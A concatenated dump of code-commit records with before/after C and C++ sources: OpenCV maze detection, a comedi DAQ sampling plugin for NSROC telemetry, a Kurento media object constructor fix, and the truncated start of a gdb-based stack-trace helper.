\/\/ Threshold hsvFrame for color of maze walls.\n inRange(hsvFrame, Scalar(wallHueLow, wallSatLow, wallValLow),\n Scalar(wallHueHigh, wallSatHigh, wallValHigh), bwFrame);\n\n \/\/ Find and draw squares.\n findSquares(bwFrame, squares);\n drawSquares(resizedFrame, squares);\n\n \/\/ Show the image, with the squares overlaid.\n imshow(\"origImage\", resizedFrame);\n imshow(\"bwImage\", bwFrame);\n\n \/\/ Wait 5 milliseconds for a keypress.\n int c = waitKey(5);\n \/\/ Exit if the spacebar is pressed. NOTE: killing the program with\n \/\/ Ctrl+C sometimes stops OpenCV at a bad place and effects a kernel\n \/\/ panic! If you really like Ctrl+C, do so at your own risk!\n if ((char) c == 32) {\n return 0;\n }\n }\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>\/* Author: Nicholas Nell\n email: nicholas.nell@colorado.edu\n\n Sampling thread for the NI PCI-DIO-32HS and PCI-6601 that act as\n NSROC telemtery. \n*\/\n\n#include <QDebug>\n#include <regex.h>\n\n#include \"nidaqplugin.h\"\n\n\nNIDAQPlugin::NIDAQPlugin() : SamplingThreadPlugin() {\n FILE *fp;\n char line_buffer[255];\n uint32_t line_number = 0;\n int err = 0;\n\n regex_t daq_card_reg;\n regex_t timer_card_reg;\n\n regmatch_t daq_match[2];\n regmatch_t timer_match[2];\n\n unsigned int chanlist[COM_N_CHAN];\n\n qDebug() << \"NIDAQ Init Starting...\";\n\n if (regcomp(&daq_card_reg, DAQ_PATTERN, 0)) {\n qDebug() << \"DAQ regcomp fail\";\n throw;\n }\n\n if (regcomp(&timer_card_reg, TIMER_PATTERN, 0)) {\n qDebug() << \"DAQ regcomp fail\";\n throw;\n }\n\n fp = fopen(COM_PROC, \"r\");\n if (fp == NULL) {\n qDebug() << \"Can't open \" << COM_PROC;\n throw;\n }\n\n \/* Find comedi device file names... *\/\n while (fgets(line_buffer, sizeof(line_buffer), fp)) {\n ++line_number;\n if (!regexec(&daq_card_reg, line_buffer, 2, daq_match, 0)) {\n daq_dev_file = (char *)malloc(strlen(COM_PREFIX) + 2);\n sprintf(daq_dev_file, \n \"%s%.*s\", \n COM_PREFIX, \n daq_match[1].rm_eo - daq_match[1].rm_so, \n &line_buffer[daq_match[1].rm_so]);\n qDebug() << \"DIO dev file: \" << daq_dev_file;\n }\n\n if (!regexec(&timer_card_reg, line_buffer, 2, timer_match, 0)) {\n timer_dev_file = (char *)malloc(strlen(COM_PREFIX) + 2);\n sprintf(timer_dev_file, \n \"%s%.*s\", \n COM_PREFIX, \n timer_match[1].rm_eo - timer_match[1].rm_so, \n &line_buffer[timer_match[1].rm_so]);\n qDebug() << \"TIMER dev file: \" << timer_dev_file;\n }\n\n }\n\n regfree(&daq_card_reg);\n regfree(&timer_card_reg);\n\n \/* open dio device *\/\n dio_dev = comedi_open(daq_dev_file);\n if (dio_dev == NULL) {\n qDebug() << \"Error opening dio dev file: \" << daq_dev_file;\n throw;\n }\n \n \/* lock the DIO device (dubdev 0) *\/\n err = comedi_lock(dio_dev, 0);\n if (err < 0) {\n qDebug() << \"Error locking comedi device, subdevice: \" << daq_dev_file << 0;\n throw;\n }\n\n timer_dev = comedi_open(timer_dev_file);\n if (timer_dev == NULL) {\n qDebug() << \"Error opening timer dev file: \" << timer_dev_file;\n throw;\n }\n\n \/* lock the timer device (dubdev 2) *\/\n err = comedi_lock(timer_dev, 2);\n if (err < 0) {\n qDebug() << \"Error locking comedi device, subdevice: \" << timer_dev_file << 2;\n throw;\n }\n\n \/* Don't start pulse train until we acquire *\/\n if (ni_gpct_stop_pulse_gen(timer_dev, 2) != 0) {\n qDebug() << \"Unable to stop pulse train...\";\n throw;\n }\n\n \/* Set device file params *\/\n fcntl(comedi_fileno(dio_dev), F_SETFL, O_NONBLOCK);\n\n memset(&cmd, 0, sizeof(cmd));\n\n \/* This command is legit for the PCI-DIO-32HS *\/\n cmd.subdev = 0;\n cmd.flags = 0;\n cmd.start_src = TRIG_NOW;\n cmd.start_arg = 0;\n cmd.scan_begin_src = TRIG_EXT;\n cmd.scan_begin_arg = CR_INVERT; \/* Read on the trailing edge *\/\n cmd.convert_src = TRIG_NOW;\n cmd.convert_arg = 0;\n cmd.scan_end_src = TRIG_COUNT;\n cmd.scan_end_arg = COM_N_CHAN;\n cmd.stop_src = TRIG_NONE;\n cmd.stop_arg = 0;\n\n cmd.chanlist = chanlist;\n cmd.chanlist_len = COM_N_CHAN;\n\n \/* Prep all channels *\/\n for (int i = 0; i < COM_N_CHAN; i++) {\n \/* Note range is 0 (we are digital!) *\/\n chanlist[i] = CR_PACK(0, 0, AREF_GROUND);\n }\n\n \/* Test the command *\/\n err = comedi_command_test(dio_dev, &cmd);\n if (err != 0) {\n qDebug() << \"comedi command failed test.\";\n qDebug() << \"comedi_command_test result: \" << err;\n int blah = comedi_get_version_code(dio_dev);\n qDebug() << \n \"COMEDI VER: \" << \n (0x0000ff & (blah >> 16)) << \n \".\" << (0x0000ff & (blah >> 8)) << \n \".\" << (0x0000ff & blah);\n\n throw;\n }\n\n err = comedi_dio_config(timer_dev, 1, 36, COMEDI_OUTPUT);\n if (err != 0) {\n qDebug() << \"Failed to set timer to output. Error #: \" << err;\n throw;\n }\n\n\n\n abort = false;\n pauseSampling = false;\n _pc = new MDDASPlotConfig();\n _pc->setXMax(8192);\n _pc->setXMin(0);\n _pc->setYMax(8192);\n _pc->setYMin(0);\n _pc->setPMax(256);\n _pc->setPMin(0);\n\n if (fclose(fp)) {\n qDebug() << \"Error closing \" << COM_PROC;\n throw;\n }\n \n qDebug() << \"NIDAQ Init complete...\";\n}\n\n\/* close thread *\/\nNIDAQPlugin::~NIDAQPlugin() {\n ni_gpct_stop_pulse_gen(timer_dev, 2);\n \/* stop command *\/\n comedi_cancel(dio_dev, 0);\n\n comedi_close(dio_dev);\n comedi_close(timer_dev);\n \n free(daq_dev_file);\n free(timer_dev_file);\n}\n\n\nvoid NIDAQPlugin::run() {\n int i = 0;\n int j = 0;\n int num_photons = 0;\n\n QMutex sleepM;\n QVector<MDDASDataPoint> v;\n sleepM.lock();\n\n forever {\n mutex.lock();\n if (pauseSampling) {\n condition.wait(&mutex);\n }\n mutex.unlock();\n\n if (abort) {\n qDebug() << \"called abort!\" << QThread::currentThread();\n return;\n }\n \n \/\/qDebug() << \"nidaq!\";\n\n condition.wait(&sleepM, 1);\n \n\n \/\/qDebug() << \"blip\" << QThread::currentThread();\n \/\/sleep();\n \/* Use a wait condition instead of sleep() so that the thread\n can be awoken. *\/\n \/\/condition.wait(&sleepM, 100);\n\n }\n}\n\nint NIDAQPlugin::ni_gpct_start_pulse_gen(comedi_t *device, \n unsigned subdevice, \n unsigned period_ns, \n unsigned up_time_ns) {\n int retval;\n lsampl_t counter_mode;\n const unsigned clock_period_ns = 50; \/* 20MHz clock *\/\n unsigned up_ticks, down_ticks;\n\n retval = comedi_reset(device, subdevice);\n if (retval < 0) return retval;\n\n retval = comedi_set_gate_source(device, \n subdevice, \n 0, \n 0, \n NI_GPCT_DISABLED_GATE_SELECT | CR_EDGE);\n if (retval < 0) return retval;\n retval = comedi_set_gate_source(device, \n subdevice, \n 0, \n 1, \n NI_GPCT_DISABLED_GATE_SELECT | CR_EDGE);\n if (retval < 0) {\n \/\/fprintf(stderr, \"Failed to set second gate source. This is expected for older boards (e-series, etc.)\\n\"\n \/\/ \"that don't have a second gate.\\n\");\n qDebug() << \"Failed to set second gate source. This is expected for older boards (e-series, etc.)\";\n qDebug() << \"that don't have a second gate.\";\n \n }\n\n counter_mode = NI_GPCT_COUNTING_MODE_NORMAL_BITS;\n \/* toggle output on terminal count *\/\n counter_mode |= NI_GPCT_OUTPUT_TC_TOGGLE_BITS;\n \/* load on terminal count *\/\n counter_mode |= NI_GPCT_LOADING_ON_TC_BIT;\n \/* alternate the reload source between the load a and load b registers *\/\n counter_mode |= NI_GPCT_RELOAD_SOURCE_SWITCHING_BITS;\n \/* count down *\/\n counter_mode |= NI_GPCT_COUNTING_DIRECTION_DOWN_BITS;\n \/* initialize load source as load b register *\/\n counter_mode |= NI_GPCT_LOAD_B_SELECT_BIT;\n \/* don't stop on terminal count *\/\n counter_mode |= NI_GPCT_STOP_ON_GATE_BITS;\n \/* don't disarm on terminal count or gate signal *\/\n counter_mode |= NI_GPCT_NO_HARDWARE_DISARM_BITS;\n retval = comedi_set_counter_mode(device, subdevice, 0, counter_mode);\n if (retval < 0) return retval;\n\n \/* 20MHz clock *\/\n retval = comedi_set_clock_source(device, \n subdevice, \n 0, \n NI_GPCT_TIMEBASE_1_CLOCK_SRC_BITS, \n clock_period_ns);\n if (retval < 0) return retval;\n\n up_ticks = (up_time_ns + clock_period_ns \/ 2) \/ clock_period_ns;\n down_ticks = (period_ns + clock_period_ns \/ 2) \/ clock_period_ns - up_ticks;\n \/* set initial counter value by writing to channel 0 *\/\n retval = comedi_data_write(device, subdevice, 0, 0, 0, down_ticks);\n if (retval < 0) return retval;\n \/* set \"load a\" register to the number of clock ticks the counter\n output should remain low by writing to channel 1. *\/\n comedi_data_write(device, subdevice, 1, 0, 0, down_ticks);\n if (retval < 0) return retval;\n \/* set \"load b\" register to the number of clock ticks the counter\n output should remain high by writing to channel 2 *\/\n comedi_data_write(device, subdevice, 2, 0, 0, up_ticks);\n if(retval < 0) return retval;\n\n retval = comedi_arm(device, subdevice, NI_GPCT_ARM_IMMEDIATE);\n if (retval < 0) return retval;\n\n return 0;\n}\n\nint NIDAQPlugin::ni_gpct_stop_pulse_gen(comedi_t *device, unsigned subdevice) {\n comedi_insn insn;\n lsampl_t data;\n \n memset(&insn, 0, sizeof(comedi_insn));\n insn.insn = INSN_CONFIG;\n insn.subdev = subdevice;\n insn.chanspec = 0;\n insn.data = &data;\n insn.n = 1;\n data = INSN_CONFIG_DISARM;\n\n if (comedi_do_insn(device, &insn) >= 0) {\n return 0;\n } else {\n return -1; \n }\n}\n\nQ_EXPORT_PLUGIN2(nidaqplugin, NIDAQPlugin);\n\n<commit_msg>Very basic niplugin acquisition with timer start\/pause<commit_after>\/* Author: Nicholas Nell\n email: nicholas.nell@colorado.edu\n\n Sampling thread for the NI PCI-DIO-32HS and PCI-6601 that act as\n NSROC telemtery. \n*\/\n\n#include <QDebug>\n#include <regex.h>\n#include <unistd.h>\n\n#include \"nidaqplugin.h\"\n\n\nNIDAQPlugin::NIDAQPlugin() : SamplingThreadPlugin() {\n FILE *fp;\n char line_buffer[255];\n uint32_t line_number = 0;\n int err = 0;\n\n regex_t daq_card_reg;\n regex_t timer_card_reg;\n\n regmatch_t daq_match[2];\n regmatch_t timer_match[2];\n\n unsigned int chanlist[COM_N_CHAN];\n\n qDebug() << \"NIDAQ Init Starting...\";\n\n if (regcomp(&daq_card_reg, DAQ_PATTERN, 0)) {\n qDebug() << \"DAQ regcomp fail\";\n throw;\n }\n\n if (regcomp(&timer_card_reg, TIMER_PATTERN, 0)) {\n qDebug() << \"DAQ regcomp fail\";\n throw;\n }\n\n fp = fopen(COM_PROC, \"r\");\n if (fp == NULL) {\n qDebug() << \"Can't open \" << COM_PROC;\n throw;\n }\n\n \/* Find comedi device file names... *\/\n while (fgets(line_buffer, sizeof(line_buffer), fp)) {\n ++line_number;\n if (!regexec(&daq_card_reg, line_buffer, 2, daq_match, 0)) {\n daq_dev_file = (char *)malloc(strlen(COM_PREFIX) + 2);\n sprintf(daq_dev_file, \n \"%s%.*s\", \n COM_PREFIX, \n daq_match[1].rm_eo - daq_match[1].rm_so, \n &line_buffer[daq_match[1].rm_so]);\n qDebug() << \"DIO dev file: \" << daq_dev_file;\n }\n\n if (!regexec(&timer_card_reg, line_buffer, 2, timer_match, 0)) {\n timer_dev_file = (char *)malloc(strlen(COM_PREFIX) + 2);\n sprintf(timer_dev_file, \n \"%s%.*s\", \n COM_PREFIX, \n timer_match[1].rm_eo - timer_match[1].rm_so, \n &line_buffer[timer_match[1].rm_so]);\n qDebug() << \"TIMER dev file: \" << timer_dev_file;\n }\n\n }\n\n regfree(&daq_card_reg);\n regfree(&timer_card_reg);\n\n \/* open dio device *\/\n dio_dev = comedi_open(daq_dev_file);\n if (dio_dev == NULL) {\n qDebug() << \"Error opening dio dev file: \" << daq_dev_file;\n throw;\n }\n \n \/* lock the DIO device (dubdev 0) *\/\n err = comedi_lock(dio_dev, 0);\n if (err < 0) {\n qDebug() << \"Error locking comedi device, subdevice: \" << daq_dev_file << 0;\n throw;\n }\n\n timer_dev = comedi_open(timer_dev_file);\n if (timer_dev == NULL) {\n qDebug() << \"Error opening timer dev file: \" << timer_dev_file;\n throw;\n }\n\n \/* lock the timer device (dubdev 2) *\/\n err = comedi_lock(timer_dev, 2);\n if (err < 0) {\n qDebug() << \"Error locking comedi device, subdevice: \" << timer_dev_file << 2;\n throw;\n }\n\n \/* Don't start pulse train until we acquire *\/\n if (ni_gpct_stop_pulse_gen(timer_dev, 2) != 0) {\n qDebug() << \"Unable to stop pulse train...\";\n throw;\n }\n\n \/* Set device file params *\/\n fcntl(comedi_fileno(dio_dev), F_SETFL, O_NONBLOCK);\n\n memset(&cmd, 0, sizeof(cmd));\n\n \/* This command is legit for the PCI-DIO-32HS *\/\n cmd.subdev = 0;\n cmd.flags = 0;\n cmd.start_src = TRIG_NOW;\n cmd.start_arg = 0;\n cmd.scan_begin_src = TRIG_EXT;\n cmd.scan_begin_arg = CR_INVERT; \/* Read on the trailing edge *\/\n cmd.convert_src = TRIG_NOW;\n cmd.convert_arg = 0;\n cmd.scan_end_src = TRIG_COUNT;\n cmd.scan_end_arg = COM_N_CHAN;\n cmd.stop_src = TRIG_NONE;\n cmd.stop_arg = 0;\n\n cmd.chanlist = chanlist;\n cmd.chanlist_len = COM_N_CHAN;\n\n \/* Prep all channels *\/\n for (int i = 0; i < COM_N_CHAN; i++) {\n \/* Note range is 0 (we are digital!) *\/\n chanlist[i] = CR_PACK(0, 0, AREF_GROUND);\n }\n\n \/* Test the command *\/\n err = comedi_command_test(dio_dev, &cmd);\n if (err != 0) {\n qDebug() << \"comedi command failed test.\";\n qDebug() << \"comedi_command_test result: \" << err;\n int blah = comedi_get_version_code(dio_dev);\n qDebug() << \n \"COMEDI VER: \" << \n (0x0000ff & (blah >> 16)) << \n \".\" << (0x0000ff & (blah >> 8)) << \n \".\" << (0x0000ff & blah);\n\n throw;\n }\n\n err = comedi_dio_config(timer_dev, 1, 36, COMEDI_OUTPUT);\n if (err != 0) {\n qDebug() << \"Failed to set timer to output. Error #: \" << err;\n throw;\n }\n\n err = comedi_command(dio_dev, &cmd);\n if (err < 0) {\n qDebug() << \"Failed to start command!\";\n }\n\n\n\n abort = false;\n pauseSampling = false;\n _pc = new MDDASPlotConfig();\n _pc->setXMax(8192);\n _pc->setXMin(0);\n _pc->setYMax(8192);\n _pc->setYMin(0);\n _pc->setPMax(256);\n _pc->setPMin(0);\n\n if (fclose(fp)) {\n qDebug() << \"Error closing \" << COM_PROC;\n throw;\n }\n \n qDebug() << \"NIDAQ Init complete...\";\n}\n\n\/* close thread *\/\nNIDAQPlugin::~NIDAQPlugin() {\n ni_gpct_stop_pulse_gen(timer_dev, 2);\n \/* stop command *\/\n comedi_cancel(dio_dev, 0);\n\n comedi_close(dio_dev);\n comedi_close(timer_dev);\n \n free(daq_dev_file);\n free(timer_dev_file);\n}\n\n\nvoid NIDAQPlugin::run() {\n int i = 0;\n int j = 0;\n int num_photons = 0;\n int ret = 0;\n\n fd_set rdset;\n struct timeval timeout;\n\n timeout.tv_sec = 0;\n timeout.tv_usec = 50000;\n\n QMutex sleepM;\n QVector<MDDASDataPoint> v;\n sleepM.lock();\n\n forever {\n mutex.lock();\n if (pauseSampling) {\n qDebug() << \"pause\";\n if (ni_gpct_stop_pulse_gen(timer_dev, 2) != 0) {\n qDebug() << \"failed to pause!\";\n }\n condition.wait(&mutex);\n qDebug() << \"unpause\";\n ni_gpct_start_pulse_gen(timer_dev, 2, STROBE_PERIOD, STROBE_HIGH_T);\n }\n mutex.unlock();\n\n if (abort) {\n qDebug() << \"called abort!\" << QThread::currentThread();\n return;\n }\n \n \/\/qDebug() << \"nidaq!\";\n\n \n FD_ZERO(&rdset);\n FD_SET(comedi_fileno(dio_dev), &rdset);\n \n ret = select(comedi_fileno(dio_dev) + 1, &rdset, NULL, NULL, &timeout);\n if (ret < 0) {\n qDebug() << \"select() error!\";\n } else if (ret == 0) {\n \/* hit timeout, poll card *\/\n ret = comedi_poll(dio_dev, 0);\n if (ret < 0) {\n qDebug() << \"comedi_poll() error\";\n }\n } else if (FD_ISSET(comedi_fileno(dio_dev), &rdset)) {\n \/* comedi file descriptor became ready *\/\n ret = read(comedi_fileno(dio_dev), buf, sizeof(buf));\n if (ret < 0) {\n qDebug() << \"read() error!\";\n } else if (ret == 0) {\n \/* no data *\/\n \/\/qDebug() << \"no data...\";\n } else {\n qDebug() << \"Got \" << ret << \" samples\";\n }\n }\n \n \n \n\n\n\n\n condition.wait(&sleepM, 1);\n \n\n \/\/qDebug() << \"blip\" << QThread::currentThread();\n \/\/sleep();\n \/* Use a wait condition instead of sleep() so that the thread\n can be awoken. *\/\n \/\/condition.wait(&sleepM, 100);\n\n }\n}\n\nint NIDAQPlugin::ni_gpct_start_pulse_gen(comedi_t *device, \n unsigned subdevice, \n unsigned period_ns, \n unsigned up_time_ns) {\n int retval;\n lsampl_t counter_mode;\n const unsigned clock_period_ns = 50; \/* 20MHz clock *\/\n unsigned up_ticks, down_ticks;\n\n retval = comedi_reset(device, subdevice);\n if (retval < 0) return retval;\n\n retval = comedi_set_gate_source(device, \n subdevice, \n 0, \n 0, \n NI_GPCT_DISABLED_GATE_SELECT | CR_EDGE);\n if (retval < 0) return retval;\n retval = comedi_set_gate_source(device, \n subdevice, \n 0, \n 1, \n NI_GPCT_DISABLED_GATE_SELECT | CR_EDGE);\n if (retval < 0) {\n \/\/fprintf(stderr, \"Failed to set second gate source. This is expected for older boards (e-series, etc.)\\n\"\n \/\/ \"that don't have a second gate.\\n\");\n qDebug() << \"Failed to set second gate source. This is expected for older boards (e-series, etc.)\";\n qDebug() << \"that don't have a second gate.\";\n \n }\n\n counter_mode = NI_GPCT_COUNTING_MODE_NORMAL_BITS;\n \/* toggle output on terminal count *\/\n counter_mode |= NI_GPCT_OUTPUT_TC_TOGGLE_BITS;\n \/* load on terminal count *\/\n counter_mode |= NI_GPCT_LOADING_ON_TC_BIT;\n \/* alternate the reload source between the load a and load b registers *\/\n counter_mode |= NI_GPCT_RELOAD_SOURCE_SWITCHING_BITS;\n \/* count down *\/\n counter_mode |= NI_GPCT_COUNTING_DIRECTION_DOWN_BITS;\n \/* initialize load source as load b register *\/\n counter_mode |= NI_GPCT_LOAD_B_SELECT_BIT;\n \/* don't stop on terminal count *\/\n counter_mode |= NI_GPCT_STOP_ON_GATE_BITS;\n \/* don't disarm on terminal count or gate signal *\/\n counter_mode |= NI_GPCT_NO_HARDWARE_DISARM_BITS;\n retval = comedi_set_counter_mode(device, subdevice, 0, counter_mode);\n if (retval < 0) return retval;\n\n \/* 20MHz clock *\/\n retval = comedi_set_clock_source(device, \n subdevice, \n 0, \n NI_GPCT_TIMEBASE_1_CLOCK_SRC_BITS, \n clock_period_ns);\n if (retval < 0) return retval;\n\n up_ticks = (up_time_ns + clock_period_ns \/ 2) \/ clock_period_ns;\n down_ticks = (period_ns + clock_period_ns \/ 2) \/ clock_period_ns - up_ticks;\n \/* set initial counter value by writing to channel 0 *\/\n retval = comedi_data_write(device, subdevice, 0, 0, 0, down_ticks);\n if (retval < 0) return retval;\n \/* set \"load a\" register to the number of clock ticks the counter\n output should remain low by writing to channel 1. *\/\n comedi_data_write(device, subdevice, 1, 0, 0, down_ticks);\n if (retval < 0) return retval;\n \/* set \"load b\" register to the number of clock ticks the counter\n output should remain high by writing to channel 2 *\/\n comedi_data_write(device, subdevice, 2, 0, 0, up_ticks);\n if(retval < 0) return retval;\n\n retval = comedi_arm(device, subdevice, NI_GPCT_ARM_IMMEDIATE);\n if (retval < 0) return retval;\n\n return 0;\n}\n\nint NIDAQPlugin::ni_gpct_stop_pulse_gen(comedi_t *device, unsigned subdevice) {\n comedi_insn insn;\n lsampl_t data;\n \n memset(&insn, 0, sizeof(comedi_insn));\n insn.insn = INSN_CONFIG;\n insn.subdev = subdevice;\n insn.chanspec = 0;\n insn.data = &data;\n insn.n = 1;\n data = INSN_CONFIG_DISARM;\n\n if (comedi_do_insn(device, &insn) >= 0) {\n return 0;\n } else {\n return -1; \n }\n}\n\nQ_EXPORT_PLUGIN2(nidaqplugin, NIDAQPlugin);\n\n<|endoftext|>"} {"text":"<commit_before>#include <gst\/gst.h>\n#include \"MediaPipelineImpl.hpp\"\n#include \"MediaObjectImpl.hpp\"\n#include <jsonrpc\/JsonSerializer.hpp>\n#include <KurentoException.hpp>\n#include <gst\/gst.h>\n#include <UUIDGenerator.hpp>\n#include <MediaSet.hpp>\n\n#define GST_CAT_DEFAULT kurento_media_object_impl\nGST_DEBUG_CATEGORY_STATIC (GST_CAT_DEFAULT);\n#define GST_DEFAULT_NAME \"KurentoMediaObjectImpl\"\n\nnamespace kurento\n{\n\nMediaObjectImpl::MediaObjectImpl (const boost::property_tree::ptree &config)\n{\n creationTime = time (NULL);\n initialId = createId();\n this->config = config;\n this->sendTagsInEvents = false;\n}\n\nMediaObjectImpl::MediaObjectImpl (const boost::property_tree::ptree &config,\n std::shared_ptr< MediaObject > parent) : MediaObjectImpl (config)\n{\n this->parent = parent;\n}\n\nstd::shared_ptr<MediaPipeline>\nMediaObjectImpl::getMediaPipeline ()\n{\n if (parent) {\n return std::dynamic_pointer_cast<MediaObjectImpl> (parent)->getMediaPipeline();\n } else {\n return std::dynamic_pointer_cast<MediaPipeline> (shared_from_this() );\n }\n}\n\nstd::string\nMediaObjectImpl::createId()\n{\n std::string uuid = generateUUID();\n\n if (parent) {\n std::shared_ptr<MediaPipelineImpl> pipeline;\n\n pipeline = std::dynamic_pointer_cast<MediaPipelineImpl> (getMediaPipeline() );\n return pipeline->getId() + \"\/\" +\n uuid;\n } else {\n return uuid;\n }\n}\n\nstd::string\nMediaObjectImpl::getName()\n{\n std::unique_lock<std::recursive_mutex> lck (mutex);\n\n if (name.empty () ) {\n name = getId ();\n }\n\n return name;\n}\n\nstd::string\nMediaObjectImpl::getId()\n{\n std::unique_lock<std::recursive_mutex> lck (mutex);\n\n if (id.empty () ) {\n id = this->initialId + \"_\" + this->getType ();\n }\n\n return id;\n}\n\nvoid\nMediaObjectImpl::setName (const std::string &name)\n{\n std::unique_lock<std::recursive_mutex> lck (mutex);\n\n this->name = name;\n}\n\nstd::vector<std::shared_ptr<MediaObject>> MediaObjectImpl::getChilds ()\n{\n std::vector<std::shared_ptr<MediaObject>> childs;\n\n for (auto it : MediaSet::getMediaSet ()->getChilds (std::dynamic_pointer_cast\n <MediaObjectImpl> (shared_from_this() ) ) ) {\n childs.push_back (it);\n }\n\n return childs;\n}\n\nbool MediaObjectImpl::getSendTagsInEvents ()\n{\n return this->sendTagsInEvents;\n}\n\nvoid MediaObjectImpl::setSendTagsInEvents (bool sendTagsInEvents)\n{\n this->sendTagsInEvents = sendTagsInEvents;\n}\n\nvoid MediaObjectImpl::addTag (const std::string &key, const std::string &value)\n{\n tagsMap [key] = value;\n GST_DEBUG (\"Tag added\");\n}\n\nvoid MediaObjectImpl::removeTag (const std::string &key)\n{\n auto it = tagsMap.find (key);\n\n if (it != tagsMap.end() ) {\n tagsMap.erase (it);\n GST_DEBUG (\"Tag deleted\");\n return;\n }\n\n GST_DEBUG (\"Tag not found\");\n}\n\nstd::string MediaObjectImpl::getTag (const std::string &key)\n{\n auto it = tagsMap.find (key);\n\n if (it != tagsMap.end() ) {\n return it->second;\n }\n\n throw KurentoException (MEDIA_OBJECT_TAG_KEY_NOT_FOUND,\n \"Tag key not found\");\n}\n\nvoid MediaObjectImpl::postConstructor()\n{\n}\n\nstd::vector<std::shared_ptr<Tag>> MediaObjectImpl::getTags ()\n{\n std::vector<std::shared_ptr<Tag>> ret;\n\n for (auto it : tagsMap ) {\n std::shared_ptr <Tag> tag (new Tag (it.first, it.second) );\n ret.push_back (tag);\n }\n\n return ret;\n}\n\nint MediaObjectImpl::getCreationTime ()\n{\n return (int) creationTime;\n}\n\nMediaObjectImpl::StaticConstructor MediaObjectImpl::staticConstructor;\n\nMediaObjectImpl::StaticConstructor::StaticConstructor()\n{\n GST_DEBUG_CATEGORY_INIT (GST_CAT_DEFAULT, GST_DEFAULT_NAME, 0,\n GST_DEFAULT_NAME);\n}\n\n} \/* kurento *\/\n<commit_msg>MediaObjectImpl: Fix bug, mediaobjects id didn't containg its parent id<commit_after>#include <gst\/gst.h>\n#include \"MediaPipelineImpl.hpp\"\n#include \"MediaObjectImpl.hpp\"\n#include <jsonrpc\/JsonSerializer.hpp>\n#include <KurentoException.hpp>\n#include <gst\/gst.h>\n#include <UUIDGenerator.hpp>\n#include <MediaSet.hpp>\n\n#define GST_CAT_DEFAULT kurento_media_object_impl\nGST_DEBUG_CATEGORY_STATIC (GST_CAT_DEFAULT);\n#define GST_DEFAULT_NAME \"KurentoMediaObjectImpl\"\n\nnamespace kurento\n{\n\nMediaObjectImpl::MediaObjectImpl (const boost::property_tree::ptree &config) :\n MediaObjectImpl (config, std::shared_ptr<MediaObject> () )\n{\n}\n\nMediaObjectImpl::MediaObjectImpl (const boost::property_tree::ptree &config,\n std::shared_ptr< MediaObject > parent)\n{\n this->parent = parent;\n\n creationTime = time (NULL);\n initialId = createId();\n this->config = config;\n this->sendTagsInEvents = false;\n}\n\nstd::shared_ptr<MediaPipeline>\nMediaObjectImpl::getMediaPipeline ()\n{\n if (parent) {\n return std::dynamic_pointer_cast<MediaObjectImpl> (parent)->getMediaPipeline();\n } else {\n return std::dynamic_pointer_cast<MediaPipeline> (shared_from_this() );\n }\n}\n\nstd::string\nMediaObjectImpl::createId()\n{\n std::string uuid = generateUUID();\n\n if (parent) {\n std::shared_ptr<MediaPipelineImpl> pipeline;\n\n pipeline = std::dynamic_pointer_cast<MediaPipelineImpl> (getMediaPipeline() );\n return pipeline->getId() + \"\/\" +\n uuid;\n } else {\n return uuid;\n }\n}\n\nstd::string\nMediaObjectImpl::getName()\n{\n std::unique_lock<std::recursive_mutex> lck (mutex);\n\n if (name.empty () ) {\n name = getId ();\n }\n\n return name;\n}\n\nstd::string\nMediaObjectImpl::getId()\n{\n std::unique_lock<std::recursive_mutex> lck (mutex);\n\n if (id.empty () ) {\n id = this->initialId + \"_\" + this->getType ();\n }\n\n return id;\n}\n\nvoid\nMediaObjectImpl::setName (const std::string &name)\n{\n std::unique_lock<std::recursive_mutex> lck (mutex);\n\n this->name = name;\n}\n\nstd::vector<std::shared_ptr<MediaObject>> MediaObjectImpl::getChilds ()\n{\n std::vector<std::shared_ptr<MediaObject>> childs;\n\n for (auto it : MediaSet::getMediaSet ()->getChilds (std::dynamic_pointer_cast\n <MediaObjectImpl> (shared_from_this() ) ) ) {\n childs.push_back (it);\n }\n\n return childs;\n}\n\nbool MediaObjectImpl::getSendTagsInEvents ()\n{\n return this->sendTagsInEvents;\n}\n\nvoid MediaObjectImpl::setSendTagsInEvents (bool sendTagsInEvents)\n{\n this->sendTagsInEvents = sendTagsInEvents;\n}\n\nvoid MediaObjectImpl::addTag (const std::string &key, const std::string &value)\n{\n tagsMap [key] = value;\n GST_DEBUG (\"Tag added\");\n}\n\nvoid MediaObjectImpl::removeTag (const std::string &key)\n{\n auto it = tagsMap.find (key);\n\n if (it != tagsMap.end() ) {\n tagsMap.erase (it);\n GST_DEBUG (\"Tag deleted\");\n return;\n }\n\n GST_DEBUG (\"Tag not found\");\n}\n\nstd::string MediaObjectImpl::getTag (const std::string &key)\n{\n auto it = tagsMap.find (key);\n\n if (it != tagsMap.end() ) {\n return it->second;\n }\n\n throw KurentoException (MEDIA_OBJECT_TAG_KEY_NOT_FOUND,\n \"Tag key not found\");\n}\n\nvoid MediaObjectImpl::postConstructor()\n{\n}\n\nstd::vector<std::shared_ptr<Tag>> MediaObjectImpl::getTags ()\n{\n std::vector<std::shared_ptr<Tag>> ret;\n\n for (auto it : tagsMap ) {\n std::shared_ptr <Tag> tag (new Tag (it.first, it.second) );\n ret.push_back (tag);\n }\n\n return ret;\n}\n\nint MediaObjectImpl::getCreationTime ()\n{\n return (int) creationTime;\n}\n\nMediaObjectImpl::StaticConstructor MediaObjectImpl::staticConstructor;\n\nMediaObjectImpl::StaticConstructor::StaticConstructor()\n{\n GST_DEBUG_CATEGORY_INIT (GST_CAT_DEFAULT, GST_DEFAULT_NAME, 0,\n GST_DEFAULT_NAME);\n}\n\n} \/* kurento *\/\n<|endoftext|>"} {"text":"<commit_before><commit_msg>iahndl: do lazy replacement<commit_after><|endoftext|>"} {"text":"<commit_before>#include <config.h>\n#ifdef SYSTEM_UNIX\n#include <sys\/prctl.h>\n#include <sys\/wait.h>\n#endif\n\n#include <boost\/lexical_cast.hpp>\n\n#include \"typename.h\"\n#include \"Logger.h\"\n#include \"demangle.h\"\n#include \"exceptions.h\"\n\nlogger::LogChannel tracelog(\"tracelog\", \"[trace] \");\n\nstack_trace_::stack_trace_() {\n\n#ifdef SYSTEM_UNIX\n\tstd::string programName = get_program_name();\n\tstd::string pid = get_pid();\n\n\t_stack_trace.push_back(std::string(\"\\t[trace] back trace for \") + programName + \" (\" + pid + \"):\");\n\n\t\/\/ create a pipe to read gdb's output\n\tint pipefds[2];\n\tint res = pipe(pipefds);\n\tif (res < 0)\n\t\treturn;\n\n\t\/\/ create a pipe to be used as a barrier\n\tint barrierfds[2];\n\tres = pipe(barrierfds);\n\tif (res < 0)\n\t\treturn;\n\n\t\/\/ fork\n\tint childPid = 